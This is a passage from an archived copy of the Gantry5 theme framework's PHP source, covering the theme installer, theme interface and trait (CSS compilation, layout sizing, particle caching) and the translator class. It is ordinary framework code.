            list (, $path) = explode('://', $path, 2);
        }
        if (!strpos($path, '://')) {
            $name = $this->offsetGet('name');
            $path = "gantry-themes://{$name}/{$path}";
        }

        return $path;
    }

    /**
     * @return string|null
     * @deprecated 5.1.5
     */
    public function getParent()
    {
        return $this->offsetGet('parent');
    }

    /**
     * @param string $name
     * @param array $paths
     * @return string|null
     */
    protected function addStream($name, $paths)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        /** @var Streams $streams */
        $streams = $gantry['streams'];

        // Add theme stream.
        $streamName = 'gantry-themes-' .
preg_replace('|[^a-z\d+.-]|ui', '-', $name);
        if (!$locator->schemeExists($streamName)) {
            $streams->add([$streamName => ['paths' =>
$paths]]);
        }

        return $streamName;
    }
}
Gantry/Component/Theme/ThemeInstaller.php000064400000022755151157471010014462
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Theme;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Layout\Layout;
use Gantry\Framework\Gantry;
use Gantry\Framework\Platform;
use Gantry\Framework\Services\ErrorServiceProvider;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

abstract class ThemeInstaller
{
    /**
     * Set to true if in Gantry.
     *
     * @var bool
     */
    public $initialized = false;
    public $actions = [];

    protected $name;
    protected $outlines;
    protected $script;

    public function __construct($extension = null)
    {
        if ($extension) {
            $this->name = $extension;
        }
    }

    abstract public function getPath();

    /**
     * Get list of available outlines.
     *
     * @param array $filter
     * @return array
     */
    public function getOutlines(array $filter = null)
    {
        if (!isset($this->outlines)) {
            $this->outlines = [];
            $path = $this->getPath();

            // If no outlines are given, try loading outlines.yaml file.
            $file = YamlFile::instance($path .
'/install/outlines.yaml');

            if ($file->exists()) {
                // Load the list from the yaml file.
                $this->outlines = (array) $file->content();
                $file->free();

            } elseif (is_dir($path . '/install/outlines')) {
                // Build the list from the install folder.
                // recurse = false, full=true
                $folders = Folder::all($path .
'/install/outlines', ['folders' => true,
'recursive' => false]);
                foreach ($folders as $folder) {
                    $this->outlines[basename($folder)] = [];
                }
            }

            // Always include system outlines.
            $this->outlines += ['default' => [],
'_body_only' => [], '_error' => [],
'_offline' => []];

        }

        return is_array($filter) ? array_intersect_key($this->outlines,
array_flip($filter)) : $this->outlines;
    }

    public function getOutline($name)
    {
        $list = $this->getOutlines([$name]);

        return reset($list);
    }

    public function installDefaults()
    {
        $installerScript = $this->getInstallerScript();

        if ($installerScript && method_exists($installerScript,
'installDefaults')) {
            $installerScript->installDefaults($this);
        } else {
            $this->createDefaults();
        }
    }

    public function installSampleData()
    {
        $installerScript = $this->getInstallerScript();

        if ($installerScript && method_exists($installerScript,
'installSampleData')) {
            $installerScript->installSampleData($this);
        } else {
            $this->createSampleData();
        }
    }

    public function createDefaults()
    {
        $this->createOutlines();
    }

    public function createSampleData()
    {
    }

    public function render($template, $context = [])
    {
        try {
            $loader = new \Twig_Loader_Filesystem();
            $loader->setPaths([$this->getPath() .
'/install/templates']);

            $params = [
                'cache' => null,
                'debug' => false,
                'autoescape' => 'html'
            ];

            $twig = new \Twig_Environment($loader, $params);

            $name = $this->name;
            $context += [
                'name' => $this->translate($name),
                'actions' => $this->actions
            ];

            return $twig->render($template, $context);
        } catch (\Exception $e) {
            return '';
        }
    }

    /**
     * Set available outlines.
     *
     * @param array $outlines If parameter isn't provided, outlines
list get reloaded from the disk.
     * @return $this
     */
    public function setOutlines(array $outlines = null)
    {
        $this->outlines = $outlines;

        return $this;
    }

    /**
     * @param array $filter
     */
    public function createOutlines(array $filter = null)
    {
        $outlines = $this->getOutlines($filter);

        foreach ($outlines as $folder => $params) {
            $this->createOutline($folder, $params);
        }
    }

    /**
     * @param string $folder
     * @param array $params
     * @return string|bool
     */
    public function createOutline($folder, array $params = [])
    {
        if (!$folder) {
            throw new \RuntimeException('Cannot create outline without
folder name');
        }

        $this->initialize();

        $created = false;

        $params += [
            'preset' => null,
            'title' => null
        ];

        $title = $params['title'] ?: ucwords(trim(strtr($folder,
['_' => ' '])));
        $preset = $params['preset'] ?: 'default';

        // Copy configuration for the new layout.
        if (($this->copyCustom($folder, $folder) || $created)) {
            // Update layout and save it.
            $layout = Layout::load($folder, $preset);
            $layout->save()->saveIndex();

            if ($created) {
                $this->actions[] = ['action' =>
'outline_created', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_CREATED',
$title)];
            } else {
                $this->actions[] = ['action' =>
'outline_updated', 'text' =>
$this->translate('GANTRY5_INSTALLER_ACTION_OUTLINE_UPDATED',
$title)];
            }
        }

        return $folder;
    }

    public function initialize()
    {
        if ($this->initialized) {
            return;
        }

        $name = $this->name;
        $path = $this->getPath();

        // Remove compiled CSS files if they exist.
        $cssPath = $path . '/custom/css-compiled';
        if (is_dir($cssPath)) {
            Folder::delete($cssPath);
        } elseif (is_file($cssPath)) {
            @unlink($cssPath);
        }

        // Remove wrongly named file if it exists.
        $md5path = $path . '/MD5SUM';
        if (is_file($md5path)) {
            @unlink($md5path);
        }

        // Restart Gantry and initialize it.
        $gantry = Gantry::restart();
        $gantry['theme.name'] = $name;
        $gantry['streams']->register();

        // Only add error service if debug mode has been enabled.
        if ($gantry->debug()) {
            $gantry->register(new ErrorServiceProvider);
        }

        /** @var Platform $patform */
        $patform = $gantry['platform'];

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        // Initialize theme stream.
        $details = new ThemeDetails($name);
        $locator->addPath('gantry-theme', '',
$details->getPaths(), false, true);

        // Initialize theme cache stream and clear theme cache.
        $cachePath = $patform->getCachePath() . '/' . $name;
        if (is_dir($cachePath)) {
            Folder::delete($cachePath);
        }
        Folder::create($cachePath);
        $locator->addPath('gantry-cache', 'theme',
[$cachePath], true, true);

        CompiledYamlFile::$defaultCachePath =
$locator->findResource('gantry-cache://theme/compiled/yaml',
true, true);
        CompiledYamlFile::$defaultCaching =
$gantry['global']->get('compile_yaml', 1);

        $this->initialized = true;
    }

    public function finalize()
    {
        // Copy standard outlines if they haven't been copied already.
        $this->copyCustom('default', 'default');
        $this->copyCustom('_body_only',
'_body_only');
        $this->copyCustom('_error', '_error');
        $this->copyCustom('_offline', '_offline');

        $this->initialize();
    }

    /**
     * @param string $layout
     * @param string $id
     * @return bool True if files were copied over.
     */
    protected function copyCustom($layout, $id)
    {
        $path = $this->getPath();

        // Only copy files if the target id doesn't exist.
        $dst = $path . '/custom/config/' . $id;
        if (!$layout || !$id || is_dir($dst)) {
            return false;
        }

        // New location for G5.3.2+
        $src = $path . '/install/outlines/' . $layout;
        if (!is_dir($src)) {
            // Old and deprecated location.
            $src = $path . '/install/layouts/' . $layout;
        }

        try {
            is_dir($src) ? Folder::copy($src, $dst) : Folder::create($dst);
        } catch (\Exception $e) {
            throw new \RuntimeException("Creating configuration for
outline '{$layout}' failed: {$e->getMessage()}", 500,
$e);
        }

        return true;
    }

    protected function translate($text)
    {
        $translator = Gantry::instance()['translator'];

        $args = func_get_args();

        return call_user_func_array([$translator, 'translate'],
$args);
    }


    protected function getInstallerScript()
    {
        if (!$this->script) {
            $className = ucfirst($this->name) .
'InstallerScript';

            if (!class_exists($className)) {

                $path = "{$this->getPath()}/install.php";
                if (is_file($path)) {
                    require_once $path;
                }
            }

            if (class_exists($className)) {
                $this->script = new $className;
            }
        }

        return $this->script;
    }
}
Gantry/Component/Theme/ThemeInterface.php000064400000007372151157471010014423
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Theme;

use Gantry\Component\Config\Config;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Stylesheet\CssCompilerInterface;

/**
 * Class ThemeTrait
 * @package Gantry\Framework\Base
 *
 * @property string $path
 * @property string $layout
 */
interface ThemeInterface
{
    // AbstractTheme class

    /**
     * Get context for render().
     *
     * @param array $context
     * @return array
     */
    public function getContext(array $context);

    /**
     * Define twig environment.
     *
     * @param \Twig_Environment $twig
     * @param \Twig_LoaderInterface $loader
     * @return \Twig_Environment
     */
    public function extendTwig(\Twig_Environment $twig,
\Twig_LoaderInterface $loader = null);

    /**
     * Returns renderer.
     *
     * @return \Twig_Environment
     */
    public function renderer();

    /**
     * Render a template file.
     *
     * @param string $file
     * @param array $context
     * @return string
     */
    public function render($file, array $context = array());

    // ThemeTrait class

    /**
     * Update all CSS files in the theme.
     *
     * @param array $outlines
     * @return array List of CSS warnings.
     */
    public function updateCss(array $outlines = null);

    /**
     * Set current layout.
     *
     * @param string $name
     * @param bool $force
     * @return $this
     */
    public function setLayout($name = null, $force = false);

    /**
     * Get current preset.
     *
     * @param  bool $forced     If true, return only forced preset or null.
     * @return string|null $preset
     */
    public function preset($forced = false);

    /**
     * Set preset to be used.
     *
     * @param string $name
     * @return $this
     */
    public function setPreset($name = null);

    /**
     * Return CSS compiler used in the theme.
     *
     * @return CssCompilerInterface
     * @throws \RuntimeException
     */
    public function compiler();

    /**
     * Returns URL to CSS file.
     *
     * If file does not exist, it will be created by using CSS compiler.
     *
     * @param string $name
     * @return string
     */
    public function css($name);

    /**
     * Return all CSS variables.
     *
     * @return array
     */
    public function getCssVariables();

    /**
     * Returns style presets for the theme.
     *
     * @return Config
     */
    public function presets();

    /**
     * Return name of the used layout preset.
     *
     * @return string
     * @throws \RuntimeException
     */
    public function type();

    /**
     * Load current layout and its configuration.
     *
     * @param string $name
     * @return Layout
     * @throws \LogicException
     */
    public function loadLayout($name = null);

    /**
     * Check whether layout has content bock.
     *
     * @return bool
     */
    public function hasContent();

    /**
     * Returns all non-empty segments from the layout.
     *
     * @return array
     */
    public function segments();

    /**
     * Returns details of the theme.
     *
     * @return ThemeDetails
     */
    public function details();

    /**
     * Returns configuration of the theme.
     *
     * @return array
     */
    public function configuration();

    /**
     * Function to convert block sizes into CSS classes.
     *
     * @param $text
     * @return string
     */
    public function toGrid($text);
}
Gantry/Component/Theme/ThemeTrait.php000064400000055354151157471010013611
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Theme;

use Gantry\Component\Config\Config;
use Gantry\Component\Content\Block\ContentBlock;
use Gantry\Component\Content\Block\HtmlBlock;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Filesystem\Folder;
use Gantry\Component\Gantry\GantryTrait;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Stylesheet\CssCompilerInterface;
use Gantry\Framework\Document;
use Gantry\Framework\Menu;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\File\PhpFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

/**
 * Class ThemeTrait
 * @package Gantry\Component
 *
 * @property string $path
 * @property string $layout
 */
trait ThemeTrait
{
    use GantryTrait;

    protected $layoutObject;
    protected $atoms;
    protected $segments;
    protected $preset;
    protected $cssCache;
    /**
     * @var CssCompilerInterface
     */
    protected $compiler;
    protected $equalized = [3 => 33.3, 6 => 16.7, 7 => 14.3, 8
=> 12.5, 9 => 11.1, 11 => 9.1, 12 => 8.3];

    /**
     * @var ThemeDetails
     */
    protected $details;

    /**
     * Register Theme stream.
     *
     * @param string $savePath
     */
    public function registerStream($savePath = null)
    {
        $streamName = $this->details()->addStreams();

        /** @var UniformResourceLocator $locator */
        $locator = self::gantry()['locator'];
        $locator->addPath('gantry-theme', '',
array_merge((array) $savePath, [[$streamName, '']]));
    }

    /**
     * Update all CSS files in the theme.
     *
     * @param array $outlines
     * @return array List of CSS warnings.
     */
    public function updateCss(array $outlines = null)
    {
        $gantry = static::gantry();
        $compiler = $this->compiler();

        if (is_null($outlines)) {
            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];
            $path = $locator->findResource($compiler->getTarget(),
true, true);

            // Make sure that all the CSS files get deleted.
            if (is_dir($path)) {
                Folder::delete($path, false);
            }

            $outlines = $gantry['outlines'];
        }

        // Make sure that PHP has the latest data of the files.
        clearstatcache();

        $warnings = [];
        foreach ($outlines as $outline => $title) {
            $config = ConfigServiceProvider::load($gantry, $outline);

           
$compiler->reset()->setConfiguration($outline)->setVariables($config->flatten('styles',
'-'));

            $results = $compiler->compileAll()->getWarnings();
            if ($results) {
                $warnings[$outline] = $results;
            }
        }

        return $warnings;
    }

    /**
     * Set layout to be used.
     *
     * @param string $name
     * @param bool $force
     * @return $this
     */
    public function setLayout($name = null, $force = false)
    {
        $gantry = static::gantry();

        // Force new layout to be set.
        if ($force) {
            unset($gantry['configuration']);
        }

        // Set default name only if configuration has not been set before.
        if ($name === null &&
!isset($gantry['configuration'])) {
            $name = 'default';
        }

        $outline = isset($gantry['configuration']) ?
$gantry['configuration'] : null;

        // Set configuration if given.
        if ($name && $name != $outline) {
            GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage("Using Gantry outline {$name}");

            $gantry['configuration'] = $name;
            unset($gantry['config']);
            $gantry['config'] =
ConfigServiceProvider::load($gantry, $name);
        }

        return $this;
    }

    /**
     * Get current preset.
     *
     * @param  bool $forced     If true, return only forced preset or null.
     * @return string|null $preset
     */
    public function preset($forced = false)
    {
        $presets = $this->presets()->toArray();

        $preset = $this->preset;

        if (!$preset && !$forced) {
            $preset =
static::gantry()['config']->get('styles.preset',
'-undefined-');
        }

        if ($preset && !isset($presets[$preset])) {
            $preset = null;
        }

        return $preset;
    }

    /**
     * Set preset to be used.
     *
     * @param string $name
     * @return $this
     */
    public function setPreset($name = null)
    {
        // Set preset if given.
        if ($name) {
            $this->preset = $name;
        }

        return $this;
    }

    /**
     * Return CSS compiler used in the theme.
     *
     * @return CssCompilerInterface
     * @throws \RuntimeException
     */
    public function compiler()
    {
        if (!$this->compiler) {
            $compilerClass = (string)
$this->details()->get('configuration.css.compiler',
'\Gantry\Component\Stylesheet\ScssCompiler');

            if (!class_exists($compilerClass)) {
                throw new \RuntimeException('CSS compiler used by the
theme not found');
            }

            $details = $this->details();

            /** @var CssCompilerInterface $compiler */
            $this->compiler = new $compilerClass();
            $this->compiler
               
->setTarget($details->get('configuration.css.target'))
               
->setPaths($details->get('configuration.css.paths'))
               
->setFiles($details->get('configuration.css.files'))
               
->setFonts($details->get('configuration.fonts'));
        }

        $preset = $this->preset(true);
        if ($preset) {
            $this->compiler->setConfiguration($preset);
        } else {
            $gantry = static::gantry();
           
$this->compiler->setConfiguration(isset($gantry['configuration'])
? $gantry['configuration'] : 'default');
        }

        return $this->compiler->reset();
    }

    /**
     * Returns URL to CSS file.
     *
     * If file does not exist, it will be created by using CSS compiler.
     *
     * @param string $name
     * @return string
     */
    public function css($name)
    {
        if (!isset($this->cssCache[$name])) {
            $compiler = $this->compiler();

            if ($compiler->needsCompile($name, [$this,
'getCssVariables'])) {
                GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer("css-{$name}", "Compiling CSS:
{$name}") && \Gantry\Debugger::addMessage("Compiling CSS:
{$name}");

                $compiler->compileFile($name);

                GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer("css-{$name}");
            }

            $this->cssCache[$name] = $compiler->getCssUrl($name);
        }

        return $this->cssCache[$name];
    }

    public function getCssVariables()
    {
        if ($this->preset) {
            $variables = $this->presets()->flatten($this->preset .
'.styles', '-');
        } else {
            $gantry = self::gantry();
            $variables =
$gantry['config']->flatten('styles', '-');
        }

        return $variables;
    }

    /**
     * Returns style presets for the theme.
     *
     * @return Config
     */
    public function presets()
    {
        static $presets;

        if (!$presets) {
            $gantry = static::gantry();

            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];

            $filename =
$locator->findResource("gantry-theme://gantry/presets.yaml");
            $file = CompiledYamlFile::instance($filename);
            $presets = new Config($file->content());
            $file->free();
        }

        return $presets;
    }

    /**
     * Return name of the used layout preset.
     *
     * @return string
     * @throws \RuntimeException
     */
    public function type()
    {
        if (!$this->layoutObject) {
            throw new \RuntimeException('Function called too
early');
        }
        $name = isset($this->layoutObject->preset['name'])
? $this->layoutObject->preset['name'] :
'unknown';

        return $name;
    }

    /**
     * Load current layout and its configuration.
     *
     * @param string $name
     * @return Layout
     * @throws \LogicException
     */
    public function loadLayout($name = null)
    {
        if (!$name) {
            try {
                $name = static::gantry()['configuration'];
            } catch (\Exception $e) {
                throw new \LogicException('Gantry: Outline has not
been defined yet', 500);
            }
        }

        if (!isset($this->layoutObject) ||
$this->layoutObject->name != $name) {
            $layout = Layout::instance($name);

            if (!$layout->exists()) {
                $layout = Layout::instance('default');
            }

            // TODO: Optimize
            $this->layoutObject = $layout->init();
        }

        return $this->layoutObject;
    }

    /**
     * Check whether layout has content bock.
     *
     * @return bool
     */
    public function hasContent()
    {
        $layout = $this->loadLayout();
        $content = $layout->referencesByType('system',
'content');

        return !empty($content);
    }

    /**
     * Load atoms and assets from the page settings.
     *
     * @since 5.4.9
     */
    public function loadAtoms()
    {
        if (!isset($this->atoms)) {
            $this->atoms = true;

            GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('atoms', "Preparing
atoms");

            $gantry = static::gantry();

            /** @var Config $config */
            $config = $gantry['config'];

            /** @var \Gantry\Framework\Document $document */
            $document = $gantry['document'];

            $atoms = (array) $config->get('page.head.atoms');

            foreach ($atoms as $data) {
                $atom = [
                    'type' => 'atom',
                    'subtype' => $data['type'],
                ] + $data;

                try {
                    $block = $this->getContent($atom);
                    $document->addBlock($block);

                } catch (\Exception $e) {
                    if ($gantry->debug()) {
                        throw new \RuntimeException("Rendering Atom
'{$atom['subtype']}' failed on error:
{$e->getMessage()}", 500, $e);
                    }
                }
            }

            $assets = (array) $config->get('page.assets');

            if ($assets) {
                $atom = [
                    'id' => 'page-assets',
                    'title' => 'Page Assets',
                    'type' => 'atom',
                    'subtype' => 'assets',
                    'attributes' => $assets +
['enabled' => 1]
                ];

                try {
                    $block = $this->getContent($atom);
                    $document->addBlock($block);

                } catch (\Exception $e) {
                    if ($gantry->debug()) {
                        throw new \RuntimeException("Rendering CSS/JS
Assets failed on error: {$e->getMessage()}", 500, $e);
                    }
                }
            }

            GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('atoms');
        }
    }

    /**
     * Returns all non-empty segments from the layout.
     *
     * @return array
     */
    public function segments()
    {
        if (!isset($this->segments)) {
            $this->segments = $this->loadLayout()->toArray();

            GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer('segments', "Preparing
layout");

            $this->prepareLayout($this->segments);

            GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer('segments');
        }

        return $this->segments;
    }

    /**
     * Prepare layout for rendering. Initializes all CSS/JS in particles.
     */
    public function prepare()
    {
        $this->segments();
    }

    /**
     * Returns details of the theme.
     *
     * @return ThemeDetails
     */
    public function details()
    {
        if (!$this->details) {
            $this->details = new ThemeDetails($this->name);
        }
        return $this->details;
    }

    /**
     * Returns configuration of the theme.
     *
     * @return array
     */
    public function configuration()
    {
        return (array) $this->details()['configuration'];
    }

    /**
     * Function to convert block sizes into CSS classes.
     *
     * @param $text
     * @return string
     */
    public function toGrid($text)
    {
        if (!$text) {
            return '';
        }

        $number = round($text, 1);
        $number = max(5, $number);
        $number = (string) ($number == 100 ? 100 : min(95, $number));

        static $sizes = array(
            '33.3' => 'size-33-3',
            '16.7' => 'size-16-7',
            '14.3' => 'size-14-3',
            '12.5' => 'size-12-5',
            '11.1' => 'size-11-1',
            '9.1'  => 'size-9-1',
            '8.3'  => 'size-8-3'
        );

        return isset($sizes[$number]) ? ' ' . $sizes[$number] :
'size-' . (int) $number;
    }

    /**
     * Magic setter method
     *
     * @param mixed $offset Asset name value
     * @param mixed $value  Asset value
     */
    public function __set($offset, $value)
    {
        if ($offset == 'title') {
            $offset = 'name';
        }

        $this->details()->offsetSet('details.' . $offset,
$value);
    }

    /**
     * Magic getter method
     *
     * @param  mixed $offset Asset name value
     * @return mixed         Asset value
     */
    public function __get($offset)
    {
        if ($offset == 'title') {
            $offset = 'name';
        }

        $value = $this->details()->offsetGet('details.' .
$offset);

        if ($offset == 'version' && is_int($value)) {
            $value .= '.0';
        }

        return $value;
    }

    /**
     * Magic method to determine if the attribute is set
     *
     * @param  mixed   $offset Asset name value
     * @return boolean         True if the value is set
     */
    public function __isset($offset)
    {
        if ($offset == 'title') {
            $offset = 'name';
        }

        return $this->details()->offsetExists('details.' .
$offset);
    }

    /**
     * Magic method to unset the attribute
     *
     * @param mixed $offset The name value to unset
     */
    public function __unset($offset)
    {
        if ($offset == 'title') {
            $offset = 'name';
        }

        $this->details()->offsetUnset('details.' .
$offset);
    }

    /**
     * Prepare layout by loading all the positions and particles.
     *
     * Action is needed before displaying the layout as it recalculates
block widths based on the visible content.
     *
     * @param array $items
     * @param bool  $temporary
     * @param bool  $sticky
     * @internal
     */
    protected function prepareLayout(array &$items, $temporary = false,
$sticky = false)
    {
        foreach ($items as $i => &$item) {
            // Non-numeric items are meta-data which should be ignored.
            if (((string)(int) $i !== (string) $i) || !is_object($item)) {
                continue;
            }

            if (!empty($item->children)) {
                $fixed = true;
                foreach ($item->children as $child) {
                    $fixed &= !empty($child->attributes->fixed);
                }

                $this->prepareLayout($item->children, $fixed,
$temporary);
            }

            // TODO: remove hard coded types.
            switch ($item->type) {
                case 'system':
                    break;

                case 'atom':
                case 'particle':
                case 'position':
                case 'spacer':
                    GANTRY_DEBUGGER &&
\Gantry\Debugger::startTimer($item->id, "Rendering
{$item->id}");

                    $item->content = $this->renderContent($item,
['prepare_layout' => true]);
                    // Note that content can also be null (postpone
rendering).
                    if ($item->content === '') {
                        unset($items[$i]);
                    }

                    GANTRY_DEBUGGER &&
\Gantry\Debugger::stopTimer($item->id);

                    break;

                default:
                    if ($sticky) {
                        $item->attributes->sticky = 1;
                        break;
                    }

                    if (empty($item->children)) {
                        unset($items[$i]);
                        break;
                    }

                    $dynamicSize = 0;
                    $fixedSize = 0;
                    $childrenCount = count($item->children);
                    foreach ($item->children as $child) {
                        if (!isset($child->attributes->size)) {
                            $child->attributes->size = 100 /
count($item->children);
                        }
                        if (empty($child->attributes->fixed)) {
                            $dynamicSize += $child->attributes->size;
                        } else {
                            $fixedSize += $child->attributes->size;
                        }
                    }

                    $roundSize = round($dynamicSize, 1);
                    $equalized = isset($this->equalized[$childrenCount])
? $this->equalized[$childrenCount] : 0;

                    // force-casting string for testing comparison due to
weird PHP behavior that returns wrong result
                    if ($roundSize != 100 && (string) $roundSize !=
(string) ($equalized * $childrenCount)) {
                        $fraction = 0;
                        $multiplier = (100 - $fixedSize) / ($dynamicSize ?:
1);
                        foreach ($item->children as $child) {
                            if (!empty($child->attributes->fixed)) {
                                continue;
                            }

                            // Calculate size for the next item by taking
account the rounding error from the last item.
                            // This will allow us to approximate cumulating
error and fix it when rounding error grows
                            // over the rounding treshold.
                            $size = ($child->attributes->size *
$multiplier) + $fraction;
                            $newSize = round($size);
                            $fraction = $size - $newSize;
                            $child->attributes->size = $newSize;
                        }
                    }
            }
        }
    }

    /**
     * Renders individual content block, like particle or position.
     *
     * Function is used to pre-render content.
     *
     * @param object|array $item
     * @param array $options
     * @return string|null
     */
    public function renderContent($item, $options = [])
    {
        $gantry = static::gantry();

        $content = $this->getContent($item, $options);

        /** @var Document $document */
        $document = $gantry['document'];
        $document->addBlock($content);

        $html = $content->toString();
        return !strstr($html, '@@DEFERRED@@') ? $html : null;
    }

    /**
     * Renders individual content block, like particle or position.
     *
     * Function is used to pre-render content.
     *
     * @param object|array $item
     * @param array $options
     * @return ContentBlock
     * @since 5.4.3
     */
    public function getContent($item, $options = [])
    {
        if (is_array($item)) {
            $item = (object) $item;
        }

        $gantry = static::gantry();

        /** @var Config $global */
        $global = $gantry['global'];

        $production = (bool) $global->get('production');
        $subtype = $item->subtype;
        $enabled =
$gantry['config']->get("particles.{$subtype}.enabled",
1);

        if (!$enabled) {
            return new HtmlBlock;
        }

        $attributes = isset($item->attributes) ? $item->attributes :
[];
        $particle =
$gantry['config']->getJoined("particles.{$subtype}",
$attributes);

        $cached = false;
        $cacheKey = [];

        // Enable particle caching only in production mode.
        if ($production && isset($particle['caching'])) {
            $caching = $particle['caching'] + ['type'
=> 'dynamic'];

            switch ($caching['type']) {
                case 'static':
                    $cached = true;
                    break;
                case 'config_matches':
                    if
(isset($particle['caching']['values'])) {
                        $values = (array)
$particle['caching']['values'];
                        $compare = array_intersect_key($particle, $values);
                        $cached = ($values === $compare);
                    }
                    break;
                case 'menu':
                    /** @var Menu $menu */
                    $menu = $gantry['menu'];
                    $cacheId = $menu->getCacheId();

                    // FIXME: menu caching needs to handle dynamic modules
inside menu: turning it off for now.
                    if (false && $cacheId !== null) {
                        $cached = true;
                        $cacheKey['menu_cache_key'] = $cacheId;
                    }
                    break;
            }
        }

        if ($cached) {
            $cacheKey['language'] =
$gantry['page']->language;
            $cacheKey['attributes'] = $particle;
            $cacheKey += (array) $item;

            /** @var UniformResourceLocator $locator */
            $locator = $gantry['locator'];
            $key = md5(json_encode($cacheKey));

            $filename =
$locator->findResource("gantry-cache://theme/html/{$key}.php",
true, true);
            $file = PhpFile::instance($filename);
            if ($file->exists()) {
                try {
                    return ContentBlock::fromArray((array)
$file->content());
                } catch (\Exception $e) {
                    // Invalid cache, continue to rendering.
                    GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage(sprintf('Failed to load %s %s
cache', $item->type, $item->id), 'debug');
                }
            }
        }

        // Create new document context for assets.
        $context = $this->getContext(['segment' => $item,
'enabled' => 1, 'particle' => $particle] +
$options);

        /** @var Document $document */
        $document = $gantry['document'];
        $document->push();
        $html =
trim($this->render("@nucleus/content/{$item->type}.html.twig",
$context));
        $content = $document->pop()->setContent($html);

        if (isset($file)) {
            // Save HTML and assets into the cache.
            GANTRY_DEBUGGER &&
\Gantry\Debugger::addMessage(sprintf('Caching %s %s',
$item->type, $item->id), 'debug');
            $file->save($content->toArray());
        }

        return $content;
    }
}
Gantry/Component/Translator/Translator.php000064400000006704151157471010014756
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Translator;

use Gantry\Component\File\CompiledYamlFile;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Translator implements TranslatorInterface
{
    protected $default = 'en';
    protected $active = 'en';
    protected $sections = [];
    protected $translations = [];
    protected $untranslated = [];

    public function translate($string)
    {
        if (preg_match('|^GANTRY5(_[A-Z0-9]+){2,}$|', $string)) {
            list(, $section, $code) = explode('_', $string, 3);

            $string = ($this->find($this->active, $section, $string)
?: $this->find($this->default, $section, $string)) ?: $string;
        }

        if (func_num_args() === 1) {
            return $string;
        }

        $args = func_get_args();
        $args[0] = $string;

        return call_user_func_array('sprintf', $args);
    }

    /**
     * Set new active language if given and return previous active
language.
     *
     * @param  string  $language  Language code. If not given, current
language is kept.
     * @return string  Previously active language.
     */
    public function active($language = null)
    {
        $previous = $this->active;

        if ($language) {
            $this->active = $language;
        }

        return $previous;
    }

    public function untranslated()
    {
        return $this->untranslated;
    }

    protected function find($language, $section, $string)
    {
        if (!isset($this->sections[$language][$section])) {
            $translations = $this->load($language, $section);

            if (isset($this->translations[$language])) {
                $this->translations[$language] += $translations;
            } else {
                $this->translations[$language] = $translations;
            }

            $this->sections[$language][$section] =
!empty($translations);
        }

        if (!isset($this->translations[$language][$string])) {
            $this->untranslated[$language][$section][$string] = null;

            return null;
        }

        return $this->translations[$language][$string];
    }

    protected function load($language, $section)
    {
        $gantry = Gantry::instance();

        /** @var UniformResourceLocator $locator */
        $locator = $gantry['locator'];

        $section = strtolower($section);
        if ($section === 'engine') {
            // TODO: add support for other engines than nucleus.
            $section = 'nucleus';
        }

        $filename = 'gantry-admin://translations/' . $language .
'/' . $section . '.yaml';
        $file = CompiledYamlFile::instance($filename);

        if (!$file->exists() && ($pos = strpos($language,
'-')) > 0) {
            $filename = 'gantry-admin://translations/' .
substr($language, 0, $pos) . '/' . $section . '.yaml';
            $file = CompiledYamlFile::instance($filename);
        }

        $cachePath =
$locator->findResource('gantry-cache://translations', true,
true);
        $translations = (array)
$file->setCachePath($cachePath)->content();
        $file->free();

        return $translations;
    }
}
Gantry/Component/Translator/TranslatorInterface.php000064400000001507151157471010016573
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
